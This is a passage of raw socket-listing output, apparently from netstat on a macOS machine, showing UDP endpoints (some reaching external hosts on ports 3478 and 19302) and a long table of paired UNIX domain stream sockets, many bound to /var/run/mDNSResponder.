*.52811 *.* \nudp4 0 0 *.3722 *.* \nudp4 0 0 *.2021 *.* \nudp46 0 0 *.62813 *.* \nudp4 0 0 10.5.0.2.59016 34.151.196.131.3478 \nudp4 0 0 10.5.0.2.62517 34.151.196.131.3478 \nudp4 0 0 10.5.0.2.61992 34.151.196.131.3478 \nudp4 0 0 10.5.0.2.63662 34.143.240.117.3478 \nudp4 0 0 10.5.0.2.63198 34.151.196.131.3478 \nudp4 0 0 10.5.0.2.57824 34.143.240.117.3478 \nudp4 0 0 10.5.0.2.51920 34.151.196.131.3478 \nudp4 0 0 10.5.0.2.63571 34.143.240.117.3478 \nudp4 0 0 10.5.0.2.56423 34.151.196.131.3478 \nudp4 0 0 10.5.0.2.50820 34.151.196.131.3478 \nudp6 0 0 2601:601:8601:6b.63625 2001:4860:4864:5.19302 \nudp6 0 0 2601:601:8601:6b.59663 2001:4860:4864:5.19302 \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.50662 *.* \nudp6 0 0 *.56394 *.* \nudp4 0 0 10.5.0.2.49316 10.5.0.2.49316 \nudp6 0 0 *.51551 *.* \nudp4 0 0 *.49316 *.* \nudp6 0 0 *.58168 *.* \nudp4 0 0 *.57688 *.* \nudp4 0 0 10.5.0.2.53618 74.125.250.129.19302 \nudp6 0 0 *.59663 *.* \nudp4 0 0 *.53618 *.* \nudp4 0 0 10.5.0.2.56805 10.5.0.2.56805 \nudp6 0 0 *.64837 *.* \nudp4 0 0 *.56805 *.* \nudp4 0 0 10.5.0.2.62388 74.125.250.129.19302 \nudp6 0 0 *.63625 *.* \nudp4 0 0 *.62388 *.* \nudp4 0 0 127.0.0.1.54802 127.0.0.1.54593 \nudp4 0 0 127.0.0.1.54593 *.* \nudp6 0 0 fe80::e:28ff:fe8.49430 fe80::885b:d5ff:.60171 \nudp6 0 0 fe80::e:28ff:fe8.49430 fe80::885b:d5ff:.49311 \nudp4 0 0 *.62591 *.* \nudp4 0 0 *.62487 *.* \nudp6 0 0 fe80::447d:a7ff:.55194 fe80::b87e:a3ff:.52411 \nudp6 0 0 fe80::447d:a7ff:.55194 fe80::b87e:a3ff:.57781 \nudp6 0 0 fe80::e0da:89ff:.52061 fe80::109e:f9ff:.54634 \nudp6 0 0 fe80::209c:64ff:.54409 fe80::40f9:4cff:.53808 \nudp6 0 0 fe80::209c:64ff:.49374 fe80::fcf2:88ff:.54964 \nudp6 0 0 fe80::209c:64ff:.64918 fe80::6498:c2ff:.62252 \nudp46 0 0 *.547 *.* \nudp4 0 0 *.* *.* \nudp4 0 0 127.0.0.1.64914 *.* \nudp46 0 0 *.59689 *.* \nudp4 0 0 *.59689 *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp46 0 0 *.* *.* \nudp4 0 0 *.* *.* \nudp6 0 0 *.5353 *.* \nudp4 0 0 *.5353 *.* \nudp4 0 0 *.137 *.* \nudp4 0 0 *.138 *.* \nicm4 0 0 *.* *.* \nicm4 0 0 *.* *.* \nActive Multipath Internet connections\nProto/ID Flags Local Address Foreign Address (state) \nActive LOCAL (UNIX) domain sockets\nAddress Type Recv-Q Send-Q Inode Conn Refs Nextref Addr\n8ca342ca3e47c25d stream 0 0 0 b011fa02f091c739 0 0\nb011fa02f091c739 stream 0 0 0 8ca342ca3e47c25d 0 0\n67d4551167f4cae8 stream 0 0 0 f7ededf8fe16153f 0 0\nf7ededf8fe16153f stream 0 0 0 67d4551167f4cae8 0 0\n2305a3c197076ffd stream 0 0 0 8afba78020ba9331 0 0 /var/run/mDNSResponder\n8afba78020ba9331 stream 0 0 0 2305a3c197076ffd 0 0\n a3e0447b6b8a9f5 stream 0 0 0 93f8d44e274008b5 0 0 /var/run/mDNSResponder\n93f8d44e274008b5 stream 0 0 0 a3e0447b6b8a9f5 0 0\n849b62700626db3d stream 0 0 0 3ea34531211ed611 0 0\n3ea34531211ed611 stream 0 0 0 849b62700626db3d 0 0\n2ed3ac7e86786a9a stream 0 0 0 e4dcd29c1b11b1ea 0 0\ne4dcd29c1b11b1ea stream 0 0 0 2ed3ac7e86786a9a 0 0\nbd897bcfdf3ba602 stream 0 0 0 d4ab92443f520de1 0 0 /var/run/mDNSResponder\nd4ab92443f520de1 stream 0 0 0 bd897bcfdf3ba602 0 0\n62db7d716318844e stream 0 0 0 739ca9ad8d39d5bb 0 0 /var/run/mDNSResponder\n739ca9ad8d39d5bb stream 0 0 0 62db7d716318844e 0 0\n17dc8326861bfa2b stream 0 0 0 6e13b086f1e86d67 0 0 /var/run/mDNSResponder\n6e13b086f1e86d67 stream 0 0 0 17dc8326861bfa2b 0 0\nd449308baf85f5a5 stream 0 0 0 19f503fa28ce483c 0 0 /var/run/mDNSResponder\n19f503fa28ce483c stream 0 0 0 d449308baf85f5a5 0 0\n13a75c576f2ea039 stream 0 0 0 cc050ace40e0ad49 0 0 /var/run/mDNSResponder\ncc050ace40e0ad49 stream 0 0 0 13a75c576f2ea039 0 0\nec9d45e0077da622 stream 0 0 0 df098a007238a5fb 0 0 /var/run/mDNSResponder\ndf098a007238a5fb stream 0 0 0 ec9d45e0077da622 0 0\n50a3c02b4eb19604 stream 0 0 0 b793eed49f5779ee 0 0\nb793eed49f5779ee stream 0 0 0 50a3c02b4eb19604 0 0\nfe8c01ff00e9a942 stream 0 0 0 3a191c0ec9afe6d8 0 0\n3a191c0ec9afe6d8 stream 0 0 0 fe8c01ff00e9a942 0 0\n15ec789ebb08b8e9 stream 0 0 0 651411e9ab4d35e9 0 0\n651411e9ab4d35e9 stream 0 0 0 15ec789ebb08b8e9 0 0\n924efb5d71552be3 stream 0 0 0 7db0cf89c3d92668 0 0\n7db0cf89c3d92668 stream 0 0 0 924efb5d71552be3 0 0\n23445acba912c219 stream 0 0 0 78c8c76346dc6e76 0 0\n78c8c76346dc6e76 stream 0 0 0 23445acba912c219 0 0\n35e44a721f0cf254 stream 0 0 0 a6a4e9d7107b0ef5 0 0\na6a4e9d7107b0ef5 stream 0 0 0 35e44a721f0cf254 0 0\n5603a7584d45be7b stream 0 0 0 e48b60547179ed57 0 0\ne48b60547179ed57 stream 0 0 0 5603a7584d45be7b 0 0\nce0bb76b20cb7f29 stream 0 0 0 240369c6ad93940d 0 0\n240369c6ad93940d stream 0 0 0 ce0bb76b20cb7f29 0 0\n6abea67774b4ff2b stream 0 0 0 ae55696f4a793c6d 0 0\nae55696f4a793c6d stream 0 0 0 6abea67774b4ff2b 0 0\n957b3802203652f7 stream 0 0 0 ea40189c3ba165fd 0 0\nea40189c3ba165fd stream 0 0 0 957b3802203652f7 0 0\nab5692016128dc26 stream 0 0 0 221d47745f9b7cec 0 0\n221d47745f9b7cec stream 0 0 0 ab5692016128dc26 0 0\n91aab106cfefe4ee stream 0 0 0 91559b08fd0e45e0 0 0\n91559b08fd0e45e0 stream 0 0 0 91aab106cfefe4ee 0 0\n45a8a3fcb752ed70 stream 0 0 0 2cf660a7400ff3bb 0 0\n2cf660a7400ff3bb stream 0 0 0 45a8a3fcb752ed70 0 0\n543662cdb27e01f3 stream 0 0 0 2545edcb5cbc72d8 0 0\n2545edcb5cbc72d8 stream 0 0 0 543662cdb27e01f3 0 0\n3054838d5405d5f7 stream 0 0 0 9c54e293d0ca0e19 0 0\n9c54e293d0ca0e19 stream 0 0 0 3054838d5405d5f7 0 0\n15a52db9d58b55ad stream 0 0 0 73b9c5afe717cf43 0 0\n73b9c5afe717cf43 stream 0 0 0 15a52db9d58b55ad 0 0\n2ba4339562ed30d9 stream 0 0 0 2bc76f6e6ee9f501 0 0\n2bc76f6e6ee9f501 stream 0 0 0 2ba4339562ed30d9 0 0\nb22d88373ac7af39 stream 0 0 0 3b5a7f6e20321b48 0 0\n3b5a7f6e20321b48 stream 0 0 0 b22d88373ac7af39 0 0\nccbd9cde6be201b9 stream 0 0 0 28135af482a4672f 0 0\n28135af482a4672f stream 0 0 0 ccbd9cde6be201b9 0 0\nefffdabe03e6fd0f stream 0 0 0 9d1cde78204e7794 0 0\n9d1cde78204e7794 stream 0 0 0 efffdabe03e6fd0f 0 0\n494163aa309bc0b4 stream 0 0 0 51c37a0297c0e44b 0 0\n51c37a0297c0e44b stream 0 0 0 494163aa309bc0b4 0 0\n65f78a990d7eac24 stream 0 0 0 1e9d413752929332 0 0\n1e9d413752929332 stream 0 0 0 65f78a990d7eac24 0 0\n7e2964757f63d339 stream 0 0 0 d44ca458b8e45d40 0 0\nd44ca458b8e45d40 stream 0 0 0 7e2964757f63d339 0 0\n55aaa7a97261b9d1 stream 0 0 0 d0ecb13ea9029a4b 0 0\nd0ecb13ea9029a4b stream 0 0 0 55aaa7a97261b9d1 0 0\n353409aaca931256 stream 0 0 0 67d16255eda82934 0 0\n67d16255eda82934 stream 0 0 0 353409aaca931256 0 0\n6dcd6e250297de6d stream 0 0 0 153a4c82b6ab8800 0 0\n153a4c82b6ab8800 stream 0 0 0 6dcd6e250297de6d 0 0\nf2142a3be9ea405b stream 0 0 0 8cbe0e2260696021 0 0\n8cbe0e2260696021 stream 0 0 0 f2142a3be9ea405b 0 0\nc42dea1807e7f0f6 stream 0 0 0 87b4f2327d930c99 0 0\n87b4f2327d930c99 stream 0 0 0 c42dea1807e7f0f6 0 0\na25a7576f5130893 stream 0 0 0 ae1538523573773a 0 0\nae1538523573773a stream 0 0 0 a25a7576f5130893 0 0\n6f503932b5b12b51 stream 0 0 0 84cdbf560173ffa0 0 0\n84cdbf560173ffa0 stream 0 0 0 6f503932b5b12b51 0 0\nbc57b5fc772556e1 stream 0 0 0 95c1d247c87e5063 0 0\n95c1d247c87e5063 stream 0 0 0 bc57b5fc772556e1 0 0\n49c19af550c8b02e stream 0 0 0 cf36cfa9b275c8d6 0 0\ncf36cfa9b275c8d6 stream 0 0 0 49c19af550c8b02e 0 0\n70663ff8faa62c7c stream 0 0 0 3310627a2ccbc7fa 0 0\n3310627a2ccbc7fa stream 0 0 0 70663ff8faa62c7c 0 0\n11948954fac24875 stream 0 0 0 b0af04deb72b4f02 0 0\nb0af04deb72b4f02 stream 0 0 0 11948954fac24875 0 0\n5ed29614acbd7097 stream 0 0 0 ad35097d21d68013 0 0\nad35097d21d68013 stream 0 0 0 5ed29614acbd7097 0 0\nd7d59454e23d4b84 stream 0 0 0 e8de907b558ddb5b 0 0\ne8de907b558ddb5b stream 0 0 0 d7d59454e23d4b84 0 0\ndcac0bc09e53d2e3 stream 0 0 0 d1ad02ad037ae97f 0 0\nd1ad02ad037ae97f stream 0 0 0 dcac0bc09e53d2e3 0 0\n814ccbab316691ed stream 0 0 0 f9514b61b37e20bf 0 0\nf9514b61b37e20bf stream 0 0 0 814ccbab316691ed 0 0\n 132267bce16a169 stream 0 0 0 12ea42bdad85e879 0 0\n12ea42bdad85e879 stream 0 0 0 132267bce16a169 0 0\ndf075b2994b87078 stream 0 0 0 8cddff168a4cc0df 0 0\n8cddff168a4cc0df stream 0 0 0 df075b2994b87078 0 0\nc0e54f4c2f7b738e stream 0 0 0 55f153d94019b97e 0 0\n55f153d94019b97e stream 0 0 0 c0e54f4c2f7b738e 0 0\nde65886828cc0953 stream 0 0 0 ded988ed27386445 0 0 /var/run/mDNSResponder\nded988ed27386445 stream 0 0 0 de65886828cc0953 0 0\ndfaad3f42e8d21ed stream 0 0 0 68f524a7213f45db 0 0 /var/run/mDNSResponder\n68f524a7213f45db stream 0 0 0 dfaad3f42e8d21ed 0 0\nc33bec30a678347b stream 0 0 0 a0631d74bb6b016e 0 0\na0631d74bb6b016e stream 0 0 0 c33bec30a678347b 0 0\nc0a61488482706b6 stream 0 0 0 260a40cc6a9376f5 0 0\n260a40cc6a9376f5 stream 0 0 0 c0a61488482706b6 0 0\ncac26468a26d74c2 stream 0 0 0 ae101c2357fe3ea 0 0\n ae101c2357fe3ea stream 0 0 0 cac26468a26d74c2 0 0\n325194eb58a3bddc stream 0 0 0 feb54e2fc59f0e09 0 0\nfeb54e2fc59f0e09 stream 0 0 0 325194eb58a3bddc 0 0\nd7d10a1e904f210a stream 0 0 0 bdeb5cd0d8242d4b 0 0\nbdeb5cd0d8242d4b stream 0 0 0 d7d10a1e904f210a 0 0\nfca61bf3b6e391d0 stream 0 0 0 a4eee8b362eb83b0 0 0\na4eee8b362eb83b0 stream 0 0 0 fca61bf3b6e391d0 0 0\n96628ce3ae347c97 stream 0 0 0 99cf1c060fa14570 0 0\n99cf1c060fa14570 stream 0 0 0 96628ce3ae347c97 0 0\nb50420b8716285b1 stream 0 0 0 164e9f2531f0ab75 0 0 /var/run/mDNSResponder\n164e9f2531f0ab75 stream 0 0 0 b50420b8716285b1 0 0\n8fabc8d9329d190b stream 0 0 0 147e21a90eb83387 0 0 /var/run/mDNSResponder\n44dab2efe935310c stream 0 0 0 914b21057d052684 0 0 /var/run/mDNSResponder\n147e21a90eb83387 stream 0 0 0 8fabc8d9329d190b 0 0\n914b21057d052684 stream 0 0 0 44dab2efe935310c 0 0\n4ce99e21ce461012 stream 0 0 0 f63f2a71bc3b4c58 0 0 /var/run/mDNSResponder\nf63f2a71bc3b4c58 stream 0 0 0 4ce99e21ce461012 0 0\n24908549b6a4968a stream 0 0 0 84fabca8aca24b40 0 0 /var/run/mDNSResponder\n84fabca8aca24b40 stream 0 0 0 24908549b6a4968a 0 0\n5290b559d4a95eae stream 0 0 0 ffc4b558a11e979f 0 0 /var/run/mDNSResponder\nffc4b558a11e979f stream 0 0 0 5290b559d4a95eae 0 0\nfad460dfbd74d16a stream 0 0 0 1e85b71aa7cbae8a 0 0\n1e85b71aa7cbae8a stream 0 0 0 fad460dfbd74d16a 0 0\n26fb88a3e783ba6e stream 0 0 0 33ebb96b7725f305 0 0\n33ebb96b7725f305 stream 0 0 0 26fb88a3e783ba6e 0 0\ned48e9be2bc3a720 stream 0 0 0 1aac2efdb4e260dd 0 0\n1aac2efdb4e260dd stream 0 0 0 ed48e9be2bc3a720 0 0\ne9c3958c39cce303 stream 0 0 0 43ec08ca7738dad7 0 0\n43ec08ca7738dad7 stream 0 0 0 e9c3958c39cce303 0 0\n847a5532e8907aaa stream 0 0 0 2311e6cf70cb6e40 0 0\n2311e6cf70cb6e40 stream 0 0 0 847a5532e8907aaa 0 0\n898adf39023fc168 stream 0 0 0 b907819ec7d74517 0 0\nb907819ec7d74517 stream 0 0 0 898adf39023fc168 0 0\n77dcf6ca191226ec stream 0 0 0 fec8a38f33fdb6cc 0 0\nfec8a38f33fdb6cc stream 0 0 0 77dcf6ca191226ec 0 0\n7af57cde9b7e7c83 stream 0 0 0 53097ffe0029ae48 0 0\n53097ffe0029ae48 stream 0 0 0 7af57cde9b7e7c83 0 0\n106387f8f5eb5e26 stream 0 0 0 a231f0a7caec2a7a 0 0\na231f0a7caec2a7a stream 0 0 0 106387f8f5eb5e26 0 0\nc0c55e225d9f1dc7 stream 0 0 0 5d321ffb036f6dad 0 0\n5d321ffb036f6dad stream 0 0 0 c0c55e225d9f1dc7 0 0\n5cdd4ed1994c757d stream 0 0 0 20a7c5bab1c64a0 0 0\n 20a7c5bab1c64a0 stream 0 0 0 5cdd4ed1994c757d 0 0\n c50d77a91d08a1f stream 0 0 0 918f24929cf698fe 0 0\n918f24929cf698fe stream 0 0 0 c50d77a91d08a1f 0 0\n ad845ad947fed1b stream 0 0 0 3f84b41913228973 0 0\n3f84b41913228973 stream 0 0 0 ad845ad947fed1b 0 0\ncea82ba1583dde57 stream 0 0 0 bb7fcdfd5e45dbd6 0 0\nbb7fcdfd5e45dbd6 stream 0 0 0 cea82ba1583dde57 0 0\n92dfd719aeed5f5b stream 0 0 0 9bd43ba3cded8650 0 0\n9bd43ba3cded8650 stream 0 0 0 92dfd719aeed5f5b 0 0\nf8e3f33597a78a4a stream 0 0 0 e2ace094f1049c97 0 0\ne2ace094f1049c97 stream 0 0 0 f8e3f33597a78a4a 0 0\nad05a20b077a5739 stream 0 0 0 84c581a39d1ee931 0 0\n84c581a39d1ee931 stream 0 0 0 ad05a20b077a5739 0 0\n1bf4fe615dcc8e3f stream 0 0 0 4b16042a138339ce 0 0\n4b16042a138339ce stream 0 0 0 1bf4fe615dcc8e3f 0 0\nf57043376ae3d09f stream 0 0 0 93bd46f2e34e2252 0 0\n93bd46f2e34e2252 stream 0 0 0 f57043376ae3d09f 0 0\n2196933954979220 stream 0 0 0 9e3c7548660be9f8 0 0\n9e3c7548660be9f8 stream 0 0 0 2196933954979220 0 0\n79f709de1eae03f8 stream 0 0 0 92b151b647918868 0 0\n92b151b647918868 stream 0 0 0 79f709de1eae03f8 0 0\nc453f50e4e515149 stream 0 0 0 bcc212b1b938d1d1 0 0\nbcc212b1b938d1d1 stream 0 0 0 c453f50e4e515149 0 0\nd54a9f7f25127e08 stream 0 0 0 f73f86a53ad0cd62 0 0\nf73f86a53ad0cd62 stream 0 0 0 d54a9f7f25127e08 0 0\n5b6879d936250c7e stream 0 0 0 e21243066fd62064 0 0\ne21243066fd62064 stream 0 0 0 5b6879d936250c7e 0 0\ne21dc77c79a35f93 stream 0 0 0 8f2f46f7db9cbe69 0 0\n8f2f46f7db9cbe69 stream 0 0 0 e21dc77c79a35f93 0 0\n725cc578a24f9c09 stream 0 0 0 e549207d45088807 0 0\ne549207d45088807 stream 0 0 0 725cc578a24f9c09 0 0\ne7f1a7e32ce40e37 stream 0 0 0 46c1488ef7290d79 0 0\n46c1488ef7290d79 stream 0 0 0 e7f1a7e32ce40e37 0 0\n65a547539f50dc0d stream 0 0 0 83db72081a8dd16a 0 0\n83db72081a8dd16a stream 0 0 0 65a547539f50dc0d 0 0\n3669b9162b47d4bf stream 0 0 0 99eda0613ee136bf 0 0\n99eda0613ee136bf stream 0 0 0 3669b9162b47d4bf 0 0\n 650eec9b1caeff5 stream 0 0 0 7a37814f8577bdd9 0 0\n7a37814f8577bdd9 stream 0 0 0 650eec9b1caeff5 0 0\nf914918d7c9585f1 stream 0 0 0 9e2c11354f5ce9c1 0 0\n9e2c11354f5ce9c1 stream 0 0 0 f914918d7c9585f1 0 0\n 9f7f128d67aa0a5 stream 0 0 0 10942a49264ff2 0 0\n 10942a49264ff2 stream 0 0 0 9f7f128d67aa0a5 0 0\n e8860672ef583a1 stream 0 0 0 5aa0c2fc99b85070 0 0\n5aa0c2fc99b85070 stream 0 0 0 e8860672ef583a1 0 0\n35c645b8ac51b0b8 stream 0 0 0 5ece471774c982a7 0 0\n5ece471774c982a7 stream 0 0 0 35c645b8ac51b0b8 0 0\n49181448c7552a99 stream 0 0 0 8441d383ee87ffd1 0 0\n8441d383ee87ffd1 stream 0 0 0 49181448c7552a99 0 0\n2c79ad0bc46e3232 stream 0 0 0 cbe2debee45ee43b 0 0\ncbe2debee45ee43b stream 0 0 0 2c79ad0bc46e3232 0 0\n22c16447c5ca5924 stream 0 0 0 5df0024b27883a16 0 0\n5df0024b27883a16 stream 0 0 0 22c16447c5ca5924 0 0\n65bb0a5ce1aed411 stream 0 0 0 1487afd459b46b57 0 0\n1487afd459b46b57 stream 0 0 0 65bb0a5ce1aed411 0 0\ncb030c2eed7235c1 stream 0 0 0 575901876e265c6e 0 0\n575901876e265c6e stream 0 0 0 cb030c2eed7235c1 0 0\n 292273d8da17cc0 stream 0 0 0 4f14993a1d59d1d7 0 0\n4f14993a1d59d1d7 stream 0 0 0 292273d8da17cc0 0 0\n1a85c031359186a2 stream 0 0 0 813cb658e4986ee7 0 0\n813cb658e4986ee7 stream 0 0 0 1a85c031359186a2 0 0\n4ae142f68db1cba3 stream 0 0 0 e76d44a84f79763d 0 0 /var/run/mDNSResponder\ne76d44a84f79763d stream 0 0 0 4ae142f68db1cba3 0 0\n 568c23f4b5bbd8c stream 0 0 0 9810d139bf28c9c0 0 0\n9810d139bf28c9c0 stream 0 0 0 568c23f4b5bbd8c 0 0\nef74c2d95627019f stream 0 0 0 1220ac84c98e0dc1 0 0\n1220ac84c98e0dc1 stream 0 0 0 ef74c2d95627019f 0 0\n45143a909298ca0e stream 0 0 0 25eb788e189574f3 0 0\n25eb788e189574f3 stream 0 0 0 45143a909298ca0e 0 0\neba9df997a8243b0 stream 0 0 0 1ec5cbdf84058171 0 0\n1ec5cbdf84058171 stream 0 0 0 eba9df997a8243b0 0 0\n3b50a55d82f870e3 stream 0 0 0 42fd6dc7c1ace398 0 0\n42fd6dc7c1ace398 stream 0 0 0 3b50a55d82f870e3 0 0\n8d09f9df6d6b1d66 stream 0 0 0 7fc3787fcae6fc48 0 0\n7fc3787fcae6fc48 stream 0 0 0 8d09f9df6d6b1d66 0 0\ndf8c5d76e521635d stream 0 0 0 12233e4c8fb4ac46 0 0\n12233e4c8fb4ac46 stream 0 0 0 df8c5d76e521635d 0 0\nf779b125be25044f stream 0 0 0 f357fb67e3173ee5 0 0 /var/run/mDNSResponder\nf357fb67e3173ee5 stream 0 0 0 f779b125be25044f 0 0\n43e230a60b6b3789 stream 0 0 0 ff8b12694a49d34b 0 0 /var/run/mDNSResponder\nff8b12694a49d34b stream 0 0 0 43e230a60b6b3789 0 0\n3073d8ce32e99bad stream 0 0 0 dda7464d147f9941 0 0 /var/run/mDNSResponder\ndda7464d147f9941 stream 0 0 0 3073d8ce32e99bad 0 0\n62655c9325119054 stream 0 0 0 a17c81182770a1f9 0 0 /var/run/mDNSResponder\na17c81182770a1f9 stream 0 0 0 62655c9325119054 0 0\n3049803254d37277 stream 0 0 0 d66602cd6da6ae7e 0 0 /var/run/mDNSResponder\nd66602cd6da6ae7e stream 0 0 0 3049803254d37277 0 0\n2bc3025c43092ef0 stream 0 0 0 9c36a63ec90d2f27 0 0 /var/run/mDNSResponder\n9c36a63ec90d2f27 stream 0 0 0 2bc3025c43092ef0 0 0\n e3df487ab4d787f stream 0 0 0 1faed81504262a4b 0 0\n1faed81504262a4b stream 0 0 0 e3df487ab4d787f 0 0\n3bef1e3da172cd2c stream 0 0 0 2540cf90b5b1dab0 0 0\n2540cf90b5b1dab0 stream 0 0 0 3bef1e3da172cd2c 0 0\n400d03e2e9ba8598 stream 0 0 0 e2e1c7c1e50f804d 0 0\ne2e1c7c1e50f804d stream 0 0 0 400d03e2e9ba8598 0 0\n36344fbf3fb35375 stream 0 0 0 940c51ebf34d89ac 0 0\n940c51ebf34d89ac stream 0 0 0 36344fbf3fb35375 0 0\n4ba8ac9fabbe5eb5 stream 0 0 0 37a0f4854ea64030 0 0\n37a0f4854ea64030 stream 0 0 0 4ba8ac9fabbe5eb5 0 0\n17110f191147ab89 stream 0 0 0 b7690834597e1f64 0 0\nb7690834597e1f64 stream 0 0 0 17110f191147ab89 0 0\n8608fd60556d62bf stream 0 0 0 bc7506098e456d9e 0 0\nbc7506098e456d9e stream 0 0 0 8608fd60556d62bf 0 0\n95a77edbb9ff5510 stream 0 0 0 35c8f770d3aa7ec9 0 0\n35c8f770d3aa7ec9 stream 0 0 0 95a77edbb9ff5510 0 0\ndaf05cbf833233ca stream 0 0 0 e32955cd36540076 0 0\ne32955cd36540076 stream 0 0 0 daf05cbf833233ca 0 0\n669c2a1a6ae4cc2f stream 0 0 0 6e4d00207eb6b383 0 0\n6e4d00207eb6b383 stream 0 0 0 669c2a1a6ae4cc2f 0 0\nb1fb636b4cf6d9cb stream 0 0 0 d370bccddce9ab86 0 0\nd370bccddce9ab86 stream 0 0 0 b1fb636b4cf6d9cb 0 0\nca55fd02a06e56e6 stream 0 0 0 7602a8e16dac48c5 0 0\n7602a8e16dac48c5 stream 0 0 0 ca55fd02a06e56e6 0 0\n9506ab44cfba9ddb stream 0 0 0 bd060364f20d6ed2 0 0\nbd060364f20d6ed2 stream 0 0 0 9506ab44cfba9ddb 0 0\n7fe7fcdaa9d3db54 stream 0 0 0 af9ac9ba508957bf 0 0\naf9ac9ba508957bf stream 0 0 0 7fe7fcdaa9d3db54 0 0\n46efb07d0ea53b7e stream 0 0 0 9736a8b98923f384 0 0\n9736a8b98923f384 stream 0 0 0 46efb07d0ea53b7e 0 0\nec05843eaced8878 stream 0 0 0 7b9970ec509faa69 0 0\n7b9970ec509faa69 stream 0 0 0 ec05843eaced8878 0 0\n8baab4afa762a8d0 stream 0 0 0 e38cf00f5a4c614f 0 0\ne38cf00f5a4c614f stream 0 0 0 8baab4afa762a8d0 0 0\n463f8af6bd5e43df stream 0 0 0 427f420ee3918c5a 0 0\n427f420ee3918c5a stream 0 0 0 463f8af6bd5e43df 0 0\nf675fac2dc4905ed stream 0 0 0 b949cbb2e0c97f60 0 0\nb949cbb2e0c97f60 stream 0 0 0 f675fac2dc4905ed 0 0\nac10a46179596f92 stream 0 0 0 64f4cdf6b3246f23 0 0\n64f4cdf6b3246f23 stream 0 0 0 ac10a46179596f92 0 0\nb898a3a1da9d2f6f stream 0 0 0 d33b87761c51e0ec 0 0\nd33b87761c51e0ec stream 0 0 0 b898a3a1da9d2f6f 0 0\nc985deff7da3a92a stream 0 0 0 87fd667d218373e5 0 0\n87fd667d218373e5 stream 0 0 0 c985deff7da3a92a 0 0\nd631f777a18ca8f6 stream 0 0 0 3126da1fcf871097 0 0\n3126da1fcf871097 stream 0 0 0 d631f777a18ca8f6 0 0\nef907fabe7413d3a stream 0 0 0 16bd177e12327738 0 0\n16bd177e12327738 stream 0 0 0 ef907fabe7413d3a 0 0\n976b6f4b97463d68 stream 0 0 0 a5e5e0319ff0f58b 0 0\na5e5e0319ff0f58b stream 0 0 0 976b6f4b97463d68 0 0\nc44ca363878a3d50 stream 0 0 0 d05cabcaaded7ab5 0 0\nd05cabcaaded7ab5 stream 0 0 0 c44ca363878a3d50 0 0\n70cae8c50e51b941 stream 0 0 0 775b6c422cfb58ec 0 0\n775b6c422cfb58ec stream 0 0 0 70cae8c50e51b941 0 0\nbdcce52a3f6da5c8 stream 0 0 0 da29350f4d269064 0 0\nda29350f4d269064 stream 0 0 0 bdcce52a3f6da5c8 0 0\n8ce06ad32b030149 stream 0 0 0 a4862495d806b405 0 0\na4862495d806b405 stream 0 0 0 8ce06ad32b030149 0 0\n161125d744d58de0 stream 0 0 0 a764899d996747c 0 0\n a764899d996747c stream 0 0 0 161125d744d58de0 0 0\n1f4a6cde889db35d stream 0 0 0 12b14829c80fe5a8 0 0\n12b14829c80fe5a8 stream 0 0 0 1f4a6cde889db35d 0 0\n87363d7930448c19 stream 0 0 0 2d4dba25e39b4203 0 0\n2d4dba25e39b4203 stream 0 0 0 87363d7930448c19 0 0\na9972c36d75467bd stream 0 0 0 1f3f7cc28dd69f1d 0 0\n1f3f7cc28dd69f1d stream 0 0 0 a9972c36d75467bd 0 0\nc2e67f880d75a51f stream 0 0 0 624607455fbe4492 0 0\n624607455fbe4492 stream 0 0 0 c2e67f880d75a51f 0 0\n8e8e680338926e04 stream 0 0 0 3d86224b08e15f4 0 0\n 3d86224b08e15f4 stream 0 0 0 8e8e680338926e04 0 0\n4f337aaaaf75fcce stream 0 0 0 55ed7907af3b5c91 0 0\n55ed7907af3b5c91 stream 0 0 0 4f337aaaaf75fcce 0 0\ne5c90a9e05f4642e stream 0 0 0 9738eb8726bb874e 0 0\n9738eb8726bb874e stream 0 0 0 e5c90a9e05f4642e 0 0\naa4d5f205960a105 stream 0 0 0 be1cefbbdbc44e3e 0 0\nbe1cefbbdbc44e3e stream 0 0 0 aa4d5f205960a105 0 0\n1500df27954ee270 stream 0 0 0 d6c760c5baa4a568 0 0\nd6c760c5baa4a568 stream 0 0 0 1500df27954ee270 0 0\nd1ca7b1c83cbd6af stream 0 0 0 ec60a2c9c04b9d8c 0 0\nec60a2c9c04b9d8c stream 0 0 0 d1ca7b1c83cbd6af 0 0\nfa0e4e621210ed9f stream 0 0 0 3f5e989a14faec1d 0 0\n3f5e989a14faec1d stream 0 0 0 fa0e4e621210ed9f 0 0\n138675a0fbbbb6a4 stream 0 0 0 117878db44c4005c 0 0\n117878db44c4005c stream 0 0 0 138675a0fbbbb6a4 0 0\n9e33eae4a670111e stream 0 0 0 fb11f2317703fe86 0 0 /var/run/mDNSResponder\nfb11f2317703fe86 stream 0 0 0 9e33eae4a670111e 0 0\n2ce4fa09dec948bf stream 0 0 0 647c586d2aee89ea 0 0\n647c586d2aee89ea stream 0 0 0 2ce4fa09dec948bf 0 0\na3e94c860fcd9a7d stream 0 0 0 3f87e9c66f227e57 0 0 /var/run/mDNSResponder\n3f87e9c66f227e57 stream 0 0 0 a3e94c860fcd9a7d 0 0\ne33271262a0ca9a2 stream 0 0 0 82b2694331d5561e 0 0\n82b2694331d5561e stream 0 0 0 e33271262a0ca9a2 0 0\nb52deda6ee8cf6f7 stream 0 0 0 6a6fcc8c38de29d3 0 0\n6a6fcc8c38de29d3 stream 0 0 0 b52deda6ee8cf6f7 0 0\nd8a112daa12c787f stream 0 0 0 d9c3f7be1308d602 0 0\nd9c3f7be1308d602 stream 0 0 0 d8a112daa12c787f 0 0\n73379ea99e6c24ee stream 0 0 0 a22c6a5a1203a250 0 0\na22c6a5a1203a250 stream 0 0 0 73379ea99e6c24ee 0 0\n1e2b2cf7c753ab51 stream 0 0 0 17fe47d473868821 0 0 /var/run/mDNSResponder\n17fe47d473868821 stream 0 0 0 1e2b2cf7c753ab51 0 0\n951380e87f07e604 stream 0 0 0 dd64bce1c433ab8d 0 0 /var/run/mDNSResponder\ndd64bce1c433ab8d stream 0 0 0 